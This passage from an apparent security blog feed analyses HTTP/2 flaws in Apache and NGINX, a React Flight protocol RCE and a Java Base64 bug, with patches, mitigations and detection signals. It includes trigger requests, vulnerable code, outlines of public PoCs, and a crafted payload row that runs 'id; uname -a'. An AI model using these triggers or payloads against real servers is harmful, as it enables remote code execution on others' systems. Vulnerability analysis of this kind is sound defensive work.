src="https://cdn-images-1.medium.com/max/683/1*dy78mmITK7kXR2xkK7AC3g.png" /></figure><p>Since the vulnerable decode happens pre-auth, network ACLs or a VPN in front of the service are also effective. Input size limits are <strong>not</strong>: the trigger is as short as 65 characters on newer lines — shorter than a typical Basic auth value or JWT.</p><h3>Detection signals</h3><ul><li><strong>The input itself</strong>: Base64 ending in = with a length that isn&#39;t a multiple of 4. On 17u, length mod 64 being 1–3 while ending in = is a tighter signal; on mixed fleets, use 65 characters as the floor.</li><li><strong>Logs</strong>: a spike in java.util.Base64 throwing IllegalArgumentException from request-handling code (the trigger always throws <em>after</em> the write).</li><li><strong>Responses</strong>: unusually large or binary-looking responses from endpoints that normally echo back decoded input.</li><li><strong>Crashes</strong>: repeated hs_err files showing a SIGSEGV inside a GC copy routine with a compiled Base64$Decoder.decode0 frame on the stack — especially clustered by source IP, since a failed heap-grooming attempt crashes the JVM and the attacker retries.</li><li><strong>Traffic</strong>: high-frequency Base64-decode-triggering requests from a single source (the warm-up and precise heap-grooming phases).</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7f2f344e1383" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2026–119618 — Heap Corruption and RCE in Apache HTTP Server’s mod_http2]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-119618-heap-corruption-and-rce-in-apache-http-servers-mod-http2-e3f23d0ea991?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e3f23d0ea991</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[python3]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cve]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Tue, 24 Nov 2026 21:01:02 GMT</pubDate>
            <atom:updated>2026-11-24T21:01:02.755Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KYQ2OOJk8jqJgszed3lPRQ.png" /></figure><h3>At a glance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*C3pH5GA9ujGHfARt5qV1-A.png" /></figure><p>A race condition in mod_http2, Apache HTTP Server&#39;s HTTP/2 module, <strong>writes a header into the wrong table — one shared across the request instead of one private to it</strong> — and that mistake corrupts the heap. It triggers over unauthenticated HTTP/2 (h2 or h2c) traffic alone. Red Hat states that &quot;a remote attacker could execute arbitrary commands with the privileges of the httpd process.&quot; As of 2026-11-13, though, what&#39;s publicly demonstrated stops at <strong>heap corruption (a crash) — no public exploit has proven actual code execution yet.</strong></p><h3>1. Background — why HTTP/2 needs more than one thread</h3><p>HTTP/1.1 processes requests one at a time, in order, over a single connection. <strong>HTTP/2 multiplexes several streams concurrently over one TCP connection.</strong> To implement this, mod_http2 keeps request processing in a separate <strong>worker thread pool (H2Workers)</strong>, distinct from the connection thread.</p><ul><li>The connection thread reads and writes HTTP/2 frames and manages streams.</li><li>Worker threads handle the actual request processing for each stream — these are mod_http2-specific threads that don’t show up in mod_status and aren&#39;t counted against ThreadsPerChild.</li></ul><p>In other words, <strong>multiple worker threads run concurrently on top of a single HTTP/2 connection, processing requests in parallel.</strong> The trouble starts when that parallelism accidentally shares a data structure that was supposed to be private to one thread.</p><h3>2. Root cause — a worker thread writing into a shared table</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*bqTXkeyoBccQWYi8.png" /></figure><p>Apache’s own security advisory summarizes the flaw this way:</p><blockquote><em>Concurrent Execution using Shared Resource with Improper Synchronization vulnerability in Apache HTTP Server’s </em><em>mod_http2 in </em><em>assign_headers() can lead to RCE.</em></blockquote><p>Red Hat’s analysis pins down the mechanism more precisely:</p><blockquote><em>a worker thread writes into memory owned by the connection thread through a shared, lock-free allocator.</em></blockquote><p>The function at the center of this is assign_headers(). When an HTTP/2 request <strong>ends with no body, carries a </strong><strong>Content-Type header, but no </strong><strong>Content-Length</strong>, mod_http2 needs to synthesize a zero-length Content-Length header and insert it. Before the fix, that synthesized header went into this table:</p><pre>/* vulnerable version (conceptually reconstructed) — assign_headers() */<br>if (stream-&gt;body_eos &amp;&amp; r_type_present &amp;&amp; !content_length_present) {<br>    /* req-&gt;headers: a table at the HTTP/2 request level, shared<br>       with — and potentially pooled alongside — other stream- or<br>       connection-level structures, not scoped to one request. */<br>    apr_table_setn(req-&gt;headers, &quot;Content-Length&quot;, &quot;0&quot;);<br>}</pre><p>The patch changed exactly one line:</p><pre>/* patched version — assign_headers() */<br>if (stream-&gt;body_eos &amp;&amp; r_type_present &amp;&amp; !content_length_present) {<br>    /* r-&gt;headers_in: a per-request table, belonging only to the<br>       request_rec for this request. */<br>    apr_table_setn(r-&gt;headers_in, &quot;Content-Length&quot;, &quot;0&quot;);<br>}</pre><p><strong>req-&gt;headers is a structure multiple worker threads can reach concurrently; </strong><strong>r-&gt;headers_in belongs exclusively to the one worker thread handling that specific request.</strong> The vulnerable version wrote to the shared table with no lock. When another worker thread, processing a different stream, touched the same structure at nearly the same moment — while the allocator underneath apr_table_setn was mid-reallocation — one thread would end up writing into memory that was already freed, or not yet initialized.</p><p>The commit message itself gives no explanation (as Sysdig’s researchers noted). The fix is a genuinely one-line change — but that single line touches the core concurrency question of “who owns this memory.”</p><p>Red Hat downgraded its own RHEL 9/10 builds from Critical to Important for a related reason: those builds allocate <strong>a separate allocator per HTTP/2 stream</strong>, which “substantially increases the complexity of exploiting the flaw.” The same source-level defect carries very different real-world exploitability depending on how the memory allocator happens to be configured.</p><h3>3. Trigger conditions — which requests reach this code path</h3><p>The public PoC (googlesky/CVE-2026-119618) pinned down the trigger experimentally:</p><blockquote><em>A request that ends without a body and carries a </em><em>Content-Type but no </em><em>Content-Length triggers the bug.</em></blockquote><pre>PUT /anything HTTP/2<br>Content-Type: application/octet-stream<br>&lt;ends immediately with END_STREAM, no body&gt;</pre><p>On receiving this, mod_http2 decides “there’s a Content-Type but no body, so I need to synthesize Content-Length: 0” and enters the assign_headers() path. The request itself looks entirely ordinary — but <strong>firing this pattern across multiple concurrent streams on the same connection</strong> pushes worker threads into touching the same shared table at nearly the same instant, opening the race window.</p><p>Reachability, laid out:</p><p>PathReachable?NotesProtocols includes h2YesHTTP/2 over TLSProtocols includes h2cYesHTTP/2 over cleartext TCP — the path the public PoC targetsPer-virtual-host ProtocolsYes, for that vhostCheck vhost blocks, not just the server-wide settingHTTP/1.1 onlyNoPer Red Hat, servers serving only HTTP/1.1 aren&#39;t affected</p><p><strong>One easy trap:</strong> servers that upgraded to 2.4.67 back in May for an unrelated HTTP/2 flaw (CVE-2026–23918) are still squarely inside this CVE’s affected range (2.4.55–2.4.70). Having recently patched an HTTP/2 bug does not mean you’re safe from this one.</p><h3>4. The patch — three commits, one line that matters</h3><p>The fix landed as three commits on the 2.4.x branch (824beab, 1b47e95, 5566851 — all on 2026–11–11).</p><p>The core change, as shown above, swaps one table reference: req-&gt;headers → r-&gt;headers_in. What that swap actually buys:</p><p>req-&gt;headers (vulnerable)r-&gt;headers_in (patched)Ownership scopeHTTP/2 request-structure level — reachable from multiple worker threadsrequest_rec level — exclusive to the worker thread handling that requestSynchronizationNo explicit lock (relies on a lock-free allocator)No path for another thread to touch it concurrentlyOutcomeConcurrent writes → allocator race → use-after-freeThe race condition has no way to occur</p><p>Confirming the patch takes more than checking a version string. As Sysdig points out, distributions frequently backport fixes without bumping the upstream version number.</p><pre># 1) The httpd version string itself (reference only — not trustworthy by distro)<br>httpd -v   # or apache2 -v<br><br># 2) The actually-loaded mod_http2 module version, per distro package<br>rpm -q mod_http2                               # RHEL/CentOS family<br>dpkg -l | grep libapache2-mod-http2            # Debian/Ubuntu family<br><br># 3) Whether mod_http2 is even loaded (if it isn&#39;t, this CVE is moot)<br>httpd -M 2&gt;/dev/null | grep http2<br>apache2ctl -M 2&gt;/dev/null | grep http2</pre><blockquote><em>A common false alarm in the field: Red Hat’s Hardened Images httpd image is listed as “affected” per the vendor advisory, but the image doesn’t actually ship </em><em>mod_http2 at all — making it a case where the risk can simply be accepted. Don&#39;t panic off the version number alone — check whether the module is actually loaded first.</em></blockquote><p><a href="https://youtube.com/shorts/uAz7pN1I-W8">https://youtube.com/shorts/uAz7pN1I-W8</a></p><h3>5. Affected versions and remediation</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*39tIEEg0lCZKZs1AJjP4xA.png" /></figure><p><strong>Immediate steps, where patching is possible</strong></p><ol><li>Upgrade httpd on every server to 2.4.71 (or your distro’s patched package)</li><li><strong>Restart httpd and rebuild images after patching</strong> — a running process keeps the old module loaded in memory. Bumping the package version without restarting leaves the server just as vulnerable</li><li>If you’re running standalone mod_h2, switch to the module bundled with httpd 2.4.71 — the standalone repository is archived and will never get a fix</li></ol><p><strong>Interim mitigation if patching isn’t immediately possible</strong></p><p>Neither Apache’s advisory nor the oss-security notice offers an official workaround, but Wiz recommends the following (note: this is Wiz’s guidance, not Apache’s):</p><pre># httpd.conf (and identically in every VirtualHost block)<br>Protocols http/1.1</pre><ul><li>Remove h2 and h2c from the config entirely, leaving only HTTP/1.1</li><li>Apply this at the server level <strong>and in every VirtualHost block</strong> — many setups redefine Protocols per-vhost</li><li>Restart or reload after the change</li><li>Test latency-sensitive services first — clients fall back to HTTP/1.1, which can slow workloads that depend on multiplexing</li></ul><p><strong>Containing the blast radius</strong></p><ul><li>Run httpd workers as an unprivileged user, limiting what a compromised worker can read or write</li><li>Keep secrets (API keys, DB credentials) in a secrets manager rather than environment variables or files the worker process can read directly</li></ul><p><strong>From a detection standpoint</strong></p><ul><li>Repeated segfaults in httpd child processes on an HTTP/2-enabled server — exactly the symptom the public PoC produces</li><li>Since disclosure (11/11 onward), review httpd worker processes for shells, downloads, or unusual outbound connections</li><li>Runtime detection tools like Falco/Sysdig can’t see HTTP/2 frames directly, but post-exploitation steps — a shell spawned by a worker, a reverse shell, a downloaded binary executing, the web server process being replaced — were verified to be caught by existing rules with no modification</li></ul><p>One last thing worth noting: this bug lives entirely inside httpd’s own HTTP/2 implementation, independent of whatever application code it’s serving. No amount of hardening the application prevents it — patching is the only complete fix.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e3f23d0ea991" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[CVE-2026–123007] Unauthenticated RCE via Integer Underflow in NGINX’s HTTP/2 Flow Control]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-123007-unauthenticated-rce-via-integer-underflow-in-nginxs-http-2-flow-control-aa5a646d18c8?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/aa5a646d18c8</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[nginx]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 21:01:01 GMT</pubDate>
            <atom:updated>2026-11-22T21:01:01.703Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n7MstXpYZpFuctYrVgr4gQ.png" /></figure><h3>At a glance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*fM_w1rJET3XqkkB5w20BxQ.png" /></figure><p>In NGINX’s HTTP/2 flow-control logic, <strong>refunding unsent data credit for a canceled stream skips a bounds check</strong>, letting a counter exceed its protocol maximum. A chain of signed/unsigned integer conversions that all trust that counter then collapses into an <strong>out-of-bounds heap memory copy</strong>. It triggers <strong>unauthenticated, on any NGINX with HTTP/2 enabled — no backend application or third-party module required</strong> — even a server doing nothing but serving static files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*ehcX8wrYnxWf4JnT.png" /></figure><h3>1. Background — HTTP/2 flow control and its credit system</h3><p>HTTP/2 multiplexes multiple requests (streams) over a single connection. If one stream pushes response data too fast or in too large a volume, the client can’t keep up and its buffers back up. HTTP/2 solves this with a credit system called <strong>flow control</strong>.</p><ul><li>The client grants the server a credit (a window) representing how much it’s ready to receive.</li><li>NGINX tracks the connection’s remaining credit in a counter: h2c-&gt;send_window.</li><li>Queuing response data subtracts that data’s size from the counter.</li><li>Receiving a WINDOW_UPDATE frame from the client increases it.</li></ul><p>This counter has a protocol-defined ceiling — NGX_HTTP_V2_MAX_WINDOW. Under normal operation, it should never be able to exceed that ceiling.</p><h3>2. Root cause — an unchecked refund, and a sign that flips</h3><p>Walking through the three-stage chain Wiz Research’s technical writeup laid out:</p><h3>2.1 Refunding credit for data that was never sent</h3><p>What happens if a stream is <strong>canceled</strong> while its response data is still sitting in the queue — meaning send_window has already been debited for it? ngx_http_v2_filter_cleanup() clears out that unsent data and refunds the unused credit.</p><pre>/* ngx_http_v2_filter_cleanup() — refund for unsent data */<br>h2c-&gt;send_window += window;</pre><p><strong>This refund never checks whether the result exceeds </strong><strong>NGX_HTTP_V2_MAX_WINDOW.</strong> If the client already increased the window via WINDOW_UPDATE while that data sat queued, adding the refund on top can push the counter <strong>past the protocol&#39;s own ceiling.</strong> h2c-&gt;send_window now holds a value the rest of the HTTP/2 code assumes can never occur.</p><h3>2.2 A bounds check that no longer does anything</h3><p>The next problem lives in ngx_http_v2_state_window_update(), which handles incoming WINDOW_UPDATE frames from the client.</p><pre>/* checking whether a window increase would exceed the limit */<br>if (window &gt; NGX_HTTP_V2_MAX_WINDOW - h2c-&gt;send_window)</pre><p>This check computes remaining headroom as “ceiling minus current counter.” But if send_window has already blown past the ceiling, <strong>that subtraction is unsigned arithmetic — it can&#39;t represent a negative number, so it wraps around into a huge positive value instead.</strong> The check now has no way of noticing the counter is already broken; it reads the wrapped value as &quot;plenty of headroom left&quot; and happily approves further increases.</p><h3>2.3 From a flipped sign to a memory copy</h3><p>This corrupted counter eventually reaches ngx_http_v2_send_chain(), where it&#39;s <strong>cast to the signed type </strong><strong>off_t</strong> to compute how much data to send. A sufficiently large value becomes <strong>negative</strong> in that conversion, and that negative length gets handed to a structure describing a slice of the response buffer — producing a buffer whose <strong>end pointer sits before its start pointer.</strong></p><p>When this malformed buffer reaches the TLS send path, ngx_ssl_send_chain(), another round of signed/unsigned conversion turns the invalid length into an <strong>out-of-bounds heap memory copy.</strong> An attacker can use this to leak memory (defeating ASLR) and corrupt the heap, arriving at <strong>unauthenticated remote code execution.</strong></p><blockquote><em>Wiz Research confirmed RCE with an ASLR bypass on official NGINX 1.31.7 and 1.31.8 builds, over HTTP/2+TLS, on 64-bit systems, serving response data straight from memory. Worth underlining: </em><strong><em>this path is reachable with no backend application and no third-party module at all — ordinary NGINX serving static files is enough.</em></strong></blockquote><h3>3. Trigger conditions — what an attacker actually has to send</h3><p>The core trigger is: <strong>cancel a stream, but first make sure the client has inflated the window enough.</strong></p><p>ConditionDetailHTTP/2 enabledhttp2 on or listen ... http2; — without it, this CVE is mootTransportWiz confirmed RCE over HTTPS (TLS) on 64-bit systems; whether plaintext h2c is equally viable isn&#39;t documented publiclyAttack patternTrigger a large response → cancel the stream while the response sits queued → meanwhile send a flood of WINDOW_UPDATE frames to push the window to an arbitrary valueBackend requirementNone — reachable from plain static file serving (contrast with CVE-2026-123633, which needs a reverse-proxy setup)</p><p>Rapid7’s Stephen Fewer published a working PoC (sfewer-r7/CVE-2026-123007) that quantifies exactly how hard this is in practice:</p><ul><li>Succeeded against an <strong>NGINX 1.31.8 container</strong> with HTTP/2 + TLS enabled</li><li>Required <strong>roughly 128 GB of HTTP/2 traffic</strong> — mostly control frames like WINDOW_UPDATE, not actual data</li><li>Completed in roughly <strong>2.5 minutes</strong> (with the caveat that this varies by environment)</li><li>Depends on an <strong>x86–64-specific glibc memory-copy routine</strong> — sensitive to architecture and libc combination</li><li>Needs <strong>ASLR bypass by recovering heap addresses from server responses</strong> — the typical difficulty profile of a memory-safety bug</li></ul><p>Rapid7’s team went a step further, demonstrating that this HTTP/2 bug <strong>chains with a separate Linux kernel SCTP networking flaw to reach root</strong> on the host — not stopping at the NGINX worker’s privileges, but escaping the container/host entirely.</p><p><strong>Real-world constraints that make this harder to pull off:</strong></p><ul><li>A CDN or WAF that terminates HTTP/2 in front of NGINX may not forward the attacker’s crafted payload through intact (implementation-dependent).</li><li>A slow connection might not deliver all 128 GB before NGINX’s default one-hour connection limit cuts it off.</li><li>From a detection standpoint, the traffic pattern stands out: <strong>an unusually long-lived HTTP/2 connection carrying a large volume of </strong><strong>WINDOW_UPDATE frames and heavy traffic</strong> is a clear signal.</li></ul><p><a href="https://youtube.com/shorts/CpXt7O78BwY">https://youtube.com/shorts/CpXt7O78BwY</a></p><h3>4. Why five teams found this at the same time</h3><p>One detail stands out: <strong>this exact code has existed since NGINX 1.9.5 in 2015.</strong> A bug nobody caught for over a decade was <strong>independently found by five different research teams at almost the same moment</strong> — Wiz Research, Ikotas Labs, Metnir, Rapid7, and Xint.</p><p>Wiz Research attributes this convergence to the advance of AI-assisted vulnerability research tooling (their own platform, “Wiz Atlas,” plus the AI models they used to validate the finding’s impact). Memory-safety bugs have traditionally required “tracing subtle interactions between memory operations and multiple code paths” to find — and that complexity itself has acted as a practical barrier for years. Wiz’s own assessment: “complexity can no longer be relied upon as a barrier to discovery or exploitation.”</p><p>The public disclosure timeline to F5 bears this out:</p><ul><li><strong>10/21:</strong> Wiz reports an HTTP/2 use-after-free (a separate CVE, 2026–123633) to F5 — F5 confirms another team had already reported the same bug</li><li><strong>11/10:</strong> F5 supplies a patch for 123633 for review</li><li><strong>11/16:</strong> Wiz reports a second HTTP/2 vulnerability (later assigned CVE-2026–123007) to F5</li><li><strong>11/17:</strong> F5 confirms this matches an existing report and assigns it CVE-2026–123007, slating it for the 11/18 release</li><li><strong>11/18:</strong> F5’s coordinated security release and public disclosure</li></ul><p><strong>Five unrelated teams bringing in the same bug within days of each other</strong> is itself being read as a signal that the landscape of vulnerability research difficulty is shifting.</p><h3>5. Scope of exposure</h3><p>According to Xint’s Shodan-based scan, <strong>98.9% of 11.94 million version-identifiable NGINX hosts</strong> were running an affected release. That figure counts versions only — it doesn’t confirm whether HTTP/2 is actually enabled or whether a fix has already landed. Still, given that NGINX powers <strong>roughly 30% of the web server market</strong>, the base population here is enormous regardless.</p><p>Of the ten “NGINX2Root” vulnerabilities disclosed together, five are rated Critical with RCE potential:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*dBm6c3pT7sGvNiOAB8zrvA.png" /></figure><p><strong>CVE-2026–123007 has by far the broadest blast radius here</strong> precisely because it needs no special proxy, mail, or DNS configuration — just “HTTP/2 turned on” in an otherwise default setup.</p><h3>6. Patching and remediation</h3><p><strong>Immediate steps</strong></p><pre># 1) Check installed version and HTTP/2 status across every host/container image<br>nginx -v<br>nginx -T 2&gt;/dev/null | grep -nE &#39;http2|listen&#39;</pre><ul><li>Upgrade NGINX OSS to <strong>1.30.7 (stable) or 1.31.9 (mainline)</strong></li><li>Upgrade NGINX Plus to <strong>37.0.8.1 or 37.3.0.1</strong></li><li><strong>Restart after patching — don’t rely on reload alone.</strong> nginx -s reload only re-reads configuration; it doesn&#39;t replace the running binary. A worker process still running the old version stays vulnerable</li><li>Run nginx -t &amp;&amp; nginx -s reload, then confirm the old worker processes have actually exited</li></ul><p><strong>Interim mitigation if patching isn’t immediately possible</strong></p><pre># nginx.conf — apply to every affected server block<br>http2 off;</pre><ul><li>On NGINX 1.25.1+, use the http2 off; directive</li><li>On earlier versions, remove the http2 parameter from every listen directive</li><li>Test application compatibility (anything relying on HTTP/2) before reloading, and confirm old workers exit</li><li>Safe to re-enable HTTP/2 once the patch is applied</li></ul><p><strong>Special attention for containerized/orchestrated environments</strong></p><ul><li>ingress-nginx (the community Kubernetes Ingress) <strong>has had its project archived — no fix is coming.</strong> Disable it with use-http2: &quot;false&quot; or migrate to another ingress controller</li><li>F5 NGINX Ingress Controller: versions before 5.8.0 are affected → upgrade to 5.8.0+</li><li>NGINX Gateway Fabric: versions before 2.9.0 are affected (HTTP/2 on by default) → upgrade to 2.9.0+</li></ul><p><strong>Detection signals</strong></p><ul><li>An unusually long-lived HTTP/2 connection combined with a large volume of WINDOW_UPDATE frames and heavy traffic</li><li>Unexpected NGINX worker process crashes (segfaults) — not a confirmed indicator on its own, but worth investigating</li><li>Unexpected shells or command execution originating from an NGINX worker process</li></ul><p><strong>How to prioritize</strong></p><p>Patch internet-facing NGINX instances with HTTP/2 enabled and no HTTP/2-terminating CDN or WAF in front of them first. The real-world constraints — 128 GB of traffic, x86–64/glibc dependency — are not grounds for complacency: Rapid7 has already demonstrated reproduction in about 2.5 minutes, and Xint’s scan shows the unpatched population runs into the tens of millions.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aa5a646d18c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[CVE-2026–126187] — Unauthenticated RCE in React Server Components’ Flight Protocol]]></title>
            <link>https://medium.com/@guidancewhite/cve-2026-126187-unauthenticated-rce-in-react-server-components-flight-protocol-3483eff620aa?source=rss-6648f12dd50f------2</link>
            <guid isPermaLink="false">https://medium.com/p/3483eff620aa</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[reactjs]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[WhitGuidance]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 21:01:01 GMT</pubDate>
            <atom:updated>2026-11-15T21:01:01.717Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*kYHjd0XbupR3Jgj9.png" /></figure><h3>At a glance</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*fb4qJMCp0WgO1ONHtmxsJw.png" /></figure><p>A vulnerability in <strong>Flight</strong>, the wire protocol behind React Server Components (RSC), lets attacker-controlled bytes break the protocol’s own framing and smuggle in an arbitrary module reference disguised as data. Combined with Next.js 16’s Cache Components (use cache), this chains into <strong>unauthenticated remote code execution on the server</strong>.</p><p>React’s own advisory calls the trigger condition “extremely rare cases — responses that transport multiple typed arrays and an attacker-controlled value,” but in practice Node.js’s default 8 KiB buffer pool makes this condition more common than the wording suggests.</p><h3>1. How the Flight protocol works</h3><p>RSC doesn’t render a screen and send it all at once — it streams the result as a sequence of <strong>rows</strong>. This stream can carry far more than JSON: Promises, module references, Server Function references, Blobs, and typed arrays, all as “live” JavaScript concepts. That expressiveness is the whole point of Flight’s design.</p><p>Rows come in a few flavors:</p><pre>1:I[&quot;victim-module&quot;,[],&quot;*&quot;]<br>2:o4,ABCD<br>0:{&quot;msg&quot;:&quot;hello&quot;,&quot;mod&quot;:&quot;$1&quot;,&quot;ta&quot;:&quot;$2&quot;}</pre><ul><li><strong>Text rows</strong> (0:{...}) — newline-terminated JSON. Sigil-prefixed strings like $1 or $2 point at other rows (ids 1 and 2).</li><li><strong>Module reference rows</strong> (1:I[...]) — tell the client to resolve an actual module through the bundler. In a webpack build, this ends in __webpack_require__(id), and that module <strong>runs</strong>.</li><li><strong>Binary rows</strong> (2:o4,ABCD) — o is the type tag (Uint8Array), 4 is the hex-encoded byte length, and ABCD is the payload. The parser consumes exactly that many bytes as data, no questions asked. There&#39;s no delimiter like a newline — the declared length <em>is</em> the boundary.</li></ul><p>The critical point: <strong>module reference rows get executed; binary rows get consumed.</strong> If the boundary between the two ever slips, bytes that were supposed to be inert data can masquerade as an executable row instead.</p><p>Next.js 16’s Cache Components feature adds a new trust boundary on top of this. A function marked &quot;use cache&quot; has its return value serialized through this same Flight format, stored in a cache entry, and later <strong>deserialized back inside the Node.js server process</strong> on subsequent requests. The server is parsing something it wrote itself — except part of that data came from the requester.</p><h3>2. Root cause — a header that promises bytes that no longer exist</h3><p>The mechanism sits at the intersection of ArrayBuffer detach semantics and the Web Streams API.</p><p>A single ArrayBuffer can back multiple typed-array views. But <strong>a byte stream transfers — and thereby detaches — the entire ArrayBuffer of every chunk it receives.</strong> The patch commit&#39;s own comment spells this rule out explicitly.</p><p>The vulnerable serialization code looked roughly like this:</p><pre>// 19.2.8 (vulnerable) — simplified typedArrayToBinaryChunk<br>function typedArrayToBinaryChunk(content) {<br>  return new Uint8Array(content.buffer, content.byteOffset, content.byteLength);<br>  // No copy! This view still points at the original shared buffer.<br>}</pre><p>Any typed array larger than 2048 bytes (VIEW_SIZE) gets wrapped in a view over the <strong>original buffer, with no copy</strong>, and written straight to the destination. The trouble starts when two large views share one buffer.</p><pre>Example: an 8192-byte ArrayBuffer shared by two 4096-byte views<br><br>view A (offset 0–4095)   →  write(A)  →  entire buffer is detached<br>view B (offset 4096–8191) → B.byteLength is now 0 (buffer is empty)</pre><p>Instrumenting the write path during serialization confirms it:</p><pre>19.2.8 (vulnerable): write: byteLength=4096  bufferByteLength=8192   ← live shared buffer<br>19.2.9 (fixed):      write: byteLength=4096  bufferByteLength=4096   ← exact-size copy</pre><p>But by the time view B is processed, <strong>the serializer has already written its framing header.</strong> It already promised “4096 bytes follow” — and then, because the buffer was detached, it actually delivers a 0-byte payload. Inside writeChunk, a silent guard made this worse:</p><pre>// vulnerable writeChunk skip logic<br>if (chunk.byteLength === 0) return;  // silently skipped — no error, no log</pre><p><strong>The header promises 4096 bytes. The body delivers zero.</strong> That mismatch gets silently baked into the stream.</p><blockquote><em>A Node.js-specific wrinkle: Node serves any Buffer allocation smaller than </em><em>Buffer.poolSize &gt;&gt;&gt; 1 (half of the default 8 KiB) from an internal slab that&#39;s shared across multiple unrelated Buffers. In other words, even without an application explicitly writing </em><em>new Uint8Array(sharedBuffer, ...), an ordinary small Buffer allocation is already structurally &quot;a view over a shared buffer.&quot; React&#39;s advisory calls this &quot;extremely rare,&quot; but the actual exposure surface is likely broader than that phrasing implies.</em></blockquote><h3>3. How the parser ends up trusting the wrong bytes</h3><p>The Flight client parser is a small state machine: read the row id up to a colon, read a tag byte, then either scan to a newline or consume an exact byte count. The fatal detail is this:</p><blockquote><strong><em>The parser only trusts the length declared in the header. Whatever follows the colon, it will blindly consume that many bytes as “data.”</em></strong></blockquote><p>Here’s the shape of a crafted stream:</p><pre>2:o1000,&lt;4096 bytes arrive&gt;<br>3:o1000,                                ← STARVED: 4096 promised, 0 delivered<br>4:{&quot;more&quot;:&quot;rows continue&quot;}\n            ← entirely swallowed as row 3&#39;s payload<br>5:o2000,&lt;8192 bytes of attacker content&gt;<br>        ^ parser resynchronizes inside this payload</pre><p>Three details make this chain work.</p><ol><li><strong>The starved row itself doesn’t block the tree — the swallowed row does.</strong> Row 3 resolves as a Uint8Array over the swallowed bytes: wrong, but valid. Meanwhile row 4, whose header was itself eaten, never resolves, and anything referencing it just hangs. That’s the opening.</li><li><strong>Padding is part of the exploit.</strong> Filler bytes like 0x43 (the character C) also happen to be valid hex digits for a row id. If the padding lands wrong, it glues itself onto the next row id and corrupts parsing from the root. So the attacker ends the crafted blob with a tiny, valid row like 5:0\n, making the parser resynchronize at exactly the next legitimate byte.</li><li><strong>Module chunks initialize lazily.</strong> A module reference row only executes once something consumes that chunk — so the planted row has to be reachable from something the application actually reads. Root references are the natural vehicle. Row ids are assigned sequentially within a single render, which made them predictable in testing (cross-request predictability wasn’t verified).</li></ol><h3>4. The three-stage exploit chain, from the public PoC</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*RvBzEuIcukr619XF.png" /></figure><p>briskets/CVE-2026-126187-poc is dependency-free Python 3.8+, reproducing the full chain against a lab running Next.js 16.4.0, React 19.3.0, and Node 22.</p><h3>4.1 Harvesting a target Server Action</h3><p>Next.js compiles each Server Action to a hex ID that ships straight into the <strong>public client bundle</strong> — the browser needs it to reference the action.</p><pre># What the PoC does, conceptually:<br># Search the page HTML and client chunks for either pattern:<br>#   &quot;$ACTION_ID_...&quot; or<br>#   createServerReference(..., &quot;&lt;hex_action_id&gt;&quot;)<br># → No authentication needed at all — it&#39;s public by design.</pre><h3>4.2 Solving the byte-alignment problem</h3><p>Where the forged rows need to land depends on how many bytes get swallowed (the over-read size) — but that calculation is circular.</p><pre># padding = over_read_size - len(header_string)<br># But changing the payload length can change how many hex digits<br># header_string needs, which shifts the target offset by a byte.<br>#<br># → The PoC resolves this with a fixed-point loop that iterates<br>#    until padding and header length agree with each other.</pre><p>For the lab’s layout (chunk id 4, an 8192-byte over-read, an 8-byte header), the forged rows land exactly at <strong>offset 8184</strong>.</p><h3>4.3 Using a thenable to trigger automatic execution</h3><p>The payload planted at that exact offset is three Flight rows:</p><pre>6:[&quot;id; uname -a&quot;]<br>5:{&quot;id&quot;:&quot;&lt;discovered_action_hex_id&gt;&quot;,&quot;bound&quot;:&quot;$@6&quot;}<br>4:{&quot;then&quot;:&quot;$h5&quot;}</pre><ul><li><strong>Row 6</strong>: the argument array the attacker wants to pass.</li><li><strong>Row 5</strong>: Server Reference metadata — id is a genuine, registered Server Action ID, and bound pre-binds the arguments from row 6.</li><li><strong>Row 4</strong>: overwrites the “attacker-influenced” cached chunk with an object carrying a then property. The $h tag points at the server reference.</li></ul><p>The trigger is JavaScript’s own specification. Under ECMA-262’s PromiseResolveThenableJob, <strong>any object with a callable </strong><strong>then property is treated as a thenable, and awaiting or resolving it auto-invokes </strong><strong>then(resolve, reject).</strong> The moment the runtime unwraps the cached value, the bound Server Action — arguments and all — gets called automatically.</p><p>This chain never walks a prototype chain and never touches the Function constructor. It simply uses the protocol&#39;s own reference-resolution machinery, &quot;correctly,&quot; to call a legitimately registered server 